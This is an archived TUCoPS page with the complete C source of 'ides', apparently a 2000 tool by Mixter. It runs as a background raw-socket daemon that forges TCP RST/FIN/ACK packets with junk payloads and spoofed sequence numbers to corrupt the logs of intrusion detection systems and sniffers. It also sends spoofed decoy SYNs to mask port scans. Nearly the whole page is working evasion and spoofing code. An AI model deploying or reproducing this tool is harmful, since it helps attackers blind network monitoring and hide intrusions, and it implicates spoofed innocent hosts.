TUCoPS :: Unix :: General :: ides.c

Intrusion Detection Evasion System is a daemon that monitors connections, and forges additional packets to hide from and disturb network monitoring processes of IDS and sniffers. It does this by inserting rst/fin and ack packets with bogus payloads and invalid sequence numbers that only affect network monitors. It also sends a custom amount of SYN requests from arbitrary sources on every real connection attempt it sees, which can for example be used to simulate coordinated scans.

/*
 *  ides version 0.3 - 'intrusion detection evasion system'
 *  (c) Jan 2000 by Mixter
 *
 *  IDES will go into background and watch incoming traffic, inserting forged
 *  TCP ack, rst and fin packets for every transmitted data packet. The sessions
 *  will not be affected, since the sequence numbers change, but all sniffing
 *  and monitoring software that evaluates raw packets is possibly tricked into
 *  evaluating the forged data or seeing reset connections, making logging
 *  unreliable or impossible. As a second feature, IDES will create a custom
 *  amount of fake SYNs on each valid tcp connection request, transparently
 *  simulating coordinated/decoy scans from random source addresses.
 *  IDES can be used on a remote host or locally to fool sniffers, IDS and
 *  other network monitors and to generate random decoy probes while scanning.
 *  Acknowledgements: MUCH of this idea is from stran9ers (private) code, which
 *  is better to configure, and from horizons article in Phrack 54.
 *
 *  Changes:
 *  v 0.3 - code sanitized, prevent generation of ACK storms/feedback loops
 *  v 0.2 - now uses a unique XOR (ph33r) challenge value for each process
 */

#define DECOYS          10	/* number of forged SYNs to send on each
				   tcp connection initiation */
#undef DEBUG			/* stay in foreground + dump packet info */
#undef NO_INADDR		/* solaris */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>

#ifndef IP_HDRINCL
#define IP_HDRINCL 3
#endif
#ifndef PF_INET
#define PF_INET 2
#endif
#ifndef AF_INET
#define AF_INET PF_INET
#endif

typedef unsigned char u8;
typedef unsigned short int u16;
typedef unsigned int u32;

#ifndef NO_INADDR
#ifndef in_addr
struct in_addr
  {
    unsigned long int s_addr;
  };
#endif
#endif

#ifndef htons

#if __BYTE_ORDER == __BIG_ENDIAN
#define ntohl(x)        (x)
#define ntohs(x)        (x)
#define htonl(x)        (x)
#define htons(x)        (x)
#else
unsigned long int htonl (unsigned long int hostlong);
unsigned short int htons (unsigned short int hostshort);
unsigned long int ntohl (unsigned long int netlong);
unsigned short int ntohs (unsigned short int netshort);
#endif

#endif

#define IP 0
#define TCP 6
#define RAW 255

struct sa
  {
    u16 fam, dp;
    u32 add;
    u8 zero[8];
  }
sadd;

struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u8 ihl:4, ver:4;
#else
    u8 ver:4, ihl:4;
#endif
    u8 tos;
    u16 tl, id, off;
    u8 ttl, pro;
    u16 sum;
    u32 src, dst;
  }
 *ih;

struct tcp
  {
    u16 src, dst;
    u32 seq, ackseq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u16 res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, res2:2;
#else
    u16 doff:4, res1:4, res2:2, urg:1, ack:1, psh:1, rst:1, syn:1, fin:1;
#endif
    u16 win, sum, urp;
  }
 *th;

unsigned short ip_sum (unsigned short *, int);

unsigned short
ip_sum (addr, len)
     unsigned short *addr;
     int len;
{
  register int nleft = len;
  register unsigned short *w = addr;
  register int sum = 0;
  unsigned short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(unsigned char *) (&answer) = *(unsigned char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

char rseed[65535];
int rcounter = 0;

void
random_init (void)
{
  int rfd = open ("/dev/urandom", O_RDONLY);
  if (rfd < 0)
    rfd = open ("/dev/random", O_RDONLY);
  rcounter = read (rfd, rseed, 65535);
  close (rfd);
}

inline long
getrandom (int min, int max)
{
  if (rcounter < 2)
    random_init ();
  srand (rseed[rcounter] + (rseed[rcounter - 1] << 8));
  rcounter -= 2;
  return ((random () % (int) (((max) + 1) - (min))) + (min));
}

u32 magic;
char packet[1024], *dh;

#define GETLRANDOM	(getrandom (0, 65535) * getrandom (0, 65535))
#define CLONED		((ntohl(th->seq) == (ntohl (ih->src)^magic)))

void
syndecoy (int s)
{
#ifdef DEBUG
  printf ("*");
#endif

  sadd.fam = AF_INET;
  sadd.dp = th->dst;
  sadd.add = ih->dst;

  ih->ver = 4;
  ih->ihl = 5;
  ih->tos = 0x00;
  ih->tl = sizeof (struct ip) + sizeof (struct tcp);
  ih->id = getrandom (0, 65535);
  ih->off = 0;
  ih->ttl = getrandom (200, 255);
  ih->pro = TCP;
  ih->sum = 0;
  ih->src = htonl (GETLRANDOM);
  th->seq = htonl (ntohl (ih->src) ^ magic);
  th->ackseq = 0;
  th->res1 = 0;
  th->doff = 0;
  th->fin = 0;
  th->syn = 1;
  th->ack = 0;
  th->rst = 0;
  th->psh = 0;
  th->ack = 0;
  th->urg = 1;
  th->res2 = 0;

  th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
  ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
  memset (dh, 0, 256);
  sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd));
}

void
idscrew (int s)
{
  int flg = ((th->ack) && (!th->psh)), rl = getrandom (0, 256);

#ifdef DEBUG
  printf (".");
#endif

  sadd.fam = AF_INET;
  sadd.dp = th->dst;
  sadd.add = ih->dst;

  ih->ver = 4;
  ih->ihl = 5;
  ih->tos = 0x00;
  ih->tl = sizeof (struct ip) + sizeof (struct tcp);
  ih->id = getrandom (0, 65535);
  ih->off = 0;
  ih->ttl = getrandom (200, 255);
  ih->pro = TCP;
  ih->sum = 0;
  th->seq = htonl (ntohl (ih->src) ^ magic);
  th->ackseq = htonl (GETLRANDOM);
  th->res1 = 0;
  th->doff = 0;
  th->fin = 0;
  th->syn = 0;
  th->ack = 1;
  th->rst = 0;
  th->psh = 1;
  th->ack = 0;
  th->urg = 0;
  th->res2 = 0;
  memset (dh, 0, 256);
  th->ack = 0;
  th->psh = 0;
  th->rst = 1;
  th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
  ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
  sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd));

  if (flg)			/* this is necessary to prevent ev1l ACK st0rmz#@!$ */
    return;

  th->rst = 0;
  th->fin = 1;
  th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
  ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
  sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sadd, sizeof (sadd));

  ih->tl += rl;
  th->fin = 0;
  th->ack = 1;
  memcpy (dh, rseed + getrandom (0, 5000), rl);
  th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + rl + 1) & ~1);
  ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + rl + 1) & ~1);
  sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp) + rl, 0, (struct sockaddr *) &sadd, sizeof (sadd));

  th->psh = 1;
  memcpy (dh, rseed + getrandom (0, 5000), rl);
  th->sum = ip_sum ((u16 *) packet, (sizeof (struct ip) + sizeof (struct tcp) + rl + 1) & ~1);
  ih->sum = ip_sum ((u16 *) packet, (4 * ih->ihl + sizeof (struct tcp) + rl + 1) & ~1);
  sendto (s, packet, 4 * ih->ihl + sizeof (struct tcp) + rl, 0, (struct sockaddr *) &sadd, sizeof (sadd));

  ih->tl -= rl;
}

int
main (int argc, char **argv)
{
  char *opt = "1";
  int i = 0, s = socket (AF_INET, SOCK_RAW, TCP);

  magic = GETLRANDOM;		/* initialize our magic challenge */
  ih = (struct ip *) packet;
  th = (struct tcp *) (packet + sizeof (struct ip));
  dh = (char *) (packet + sizeof (struct ip) + sizeof (struct tcp));

#ifndef DEBUG
  if ((i = fork ()))
    {
      printf ("%s launching into the background (pid: %d)\n", argv[0], i);
      exit (0);
    }
#endif

  if (s < 0)
    perror ("");
  if (setsockopt (s, IP, IP_HDRINCL, opt, sizeof (opt)) < 0)
    perror ("");

  while (1)
    {
      if (read (s, packet, 1020) > 0)
	if ((!CLONED) && (th->ack))
	  {
#ifdef DEBUG
	    printf ("Seq: %lu, ack: %lu, src: %lu (S%dA%dP%dF%dR%dU%d)\n",
		    ntohl (th->seq), ntohl (th->ackseq), ntohl (ih->src),
		    th->syn, th->ack, th->psh, th->fin, th->rst, th->urg);
	    fflush (stdout);
#endif

	    if (th->syn)
	      for (i = 0; i < DECOYS; i++)
		syndecoy (s);
	    else if ((!th->fin) && (!th->rst))
	        idscrew (s);

	  }
      memset (packet, 0, 1024);
    }

  return 0;
}

/* $t34lthy        OoOoO  .
   h4x3r    _______(   o__  o
   |___\  0|_  | _ (   _|    O
       /  0|___||_O(___|     ( 1 4m h1d1ng!@$ ) */

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH